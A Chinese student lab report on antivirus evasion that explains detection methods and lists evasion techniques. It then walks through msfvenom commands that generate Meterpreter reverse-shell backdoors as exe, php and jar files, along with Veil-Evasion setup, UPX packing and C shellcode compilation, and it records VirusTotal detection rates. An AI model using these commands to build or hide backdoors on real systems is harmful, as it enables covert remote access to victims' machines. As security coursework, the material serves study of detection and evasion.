20201226马瑞婕Exp3-免杀原理与实践
20201226马瑞婕Exp-免杀原理与实践
1 基础问题回答
1.1 杀软是如何检测出恶意代码的?
基于特征码进行检测
特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码,杀软是对片这样的段作为识别依据。
利用启发式恶意软件检测
根据些片面特征去推断,通常是因为缺乏精确判定依据。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。
基于行为的恶意软件检测
基于行为的恶意软件检测方法是通过追踪恶意软件执行的行为轨迹来捕获程序的恶意活动。
1.2 免杀是做什么?
免杀就是让安插的后门不被AV软件发现。由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
1.3 免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
-
修改内存特征码
-
等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
-
通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
-
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
1.4开启杀软能绝对防止电脑中恶意代码吗?
然而并不能。恶意代码可以通过很多手段伪装自己,导致杀软无法识别。
2 实验环境
https://www.virustotal.com/gui/home/upload
3 实践内容
3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
检测直接生成的后门exe文件(实验二中的后门程序)
3.1.1使用Unicode编码
编码一次
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.48.129 LPORT=1226-f exe > 20201226backdoor.exe
进行检测,并未改变
3.1.2编码多次(此处采用我学号的序号26来进行编码)
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -26 -b ‘\x00’ LHOST=192.168.48.129 LPORT=1226 -f exe > 20201226back.exe
参数意思:
--payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-e,--encoder指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-b,--bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 '\x0f'、'\x00'
-x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-i,--iterations < count> 指定payload的编码次数
--format < format> 指定输出格式
再次检测,甚至上升
3.1.3利用php格式文件
生成代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.48.129 LPORT=1226 x> backdoor_php.php
文件大小下降了许多,进行检测
3.1.4利用jar文件
生成代码
msfvenom -p java/shell_reverse_tcp LHOST=192.168.48.129 LPORT=1226 -f jar > backdoor_jar.jar
检测,结果如下:
3.2veil,加壳工具实践
3.2.1安装工具
安装命令行
sudo apt-get install veil-evasion
3.2.2安装设置
下载成功后,修改setup.sh:
cd /usr/share/veil/config
vim setup.sh
进行修改
修改成功后,veil等待安装
注:安装过程中会有wine、Python、pywin32等需要安装,一直点继续就行
当弹出
则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具
3.2.3使用veil工具
veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.48.129 //设置反弹链接ip,此处为Kali的ip
set LPORT 1226 //设置端口
generate
同时由上图所示,设置生成的文件名称为20201226veil
保存路径为/var/lib/veil/output/compiled/20201226veil.exe
对此文件进行检测,但检出率还是很高,且由于文件比较大(104.21KB),检查所花费的时间也较长
3.2.4免杀加壳尝试
- 加壳是对相应的资源进行压缩,压缩后仍可运行。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
- 它可以用来保护版权,但同时也有许多病毒将其作为原理。
加壳指令
upx 20201226veil.exe -o 20201226_veil_upx.exe
-o:表示输出;
-o 别名.exe:表示以别名.exe作为脱壳后的输出;
-d 现名.exe:表示以现名.exe作为脱壳前的输入。
进行检测
3.3使用C + shellcode编程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.48.129 LPORT=1226 -f c
编辑c文件
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
检测
3.4通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil,选择Evasion
这里使用evasion中第28项:用python生成reverse_tcp
设置回弹IP和端口号,然后查看状态
生成文件目录如下,会有三个文件生成,需要将他们都拷贝到Windows下
对三个文件分别进行检测
4 实验心得
本次实验较简单,通过本次实验学会了几个降低恶意软件风险度的方法,但最终并未实现免杀,最低的也只达到9/59,一打开杀软就被杀走了。。
问题一:安装veil时出现问题,不知道是什么原因,我的安装程序框中的文字不能完全显示出来,所以第一次安装有错误,上网查询到使用以下命令可以进行重新安装
cd /usr/share/veil-evasion/setup/
./setup.sh
在课上得知,wine是模拟器,装完之后可以在Linux系统下运行Windows程序veil,所以veil是Windows系统。
问题二:最后一步由py文件生成exe文件时并未成功,我按照步骤走的时候,并未成功生成exe文件,很奇怪
安装界面和安装veil时的pywin32一样
点击bat文件并未生成exe文件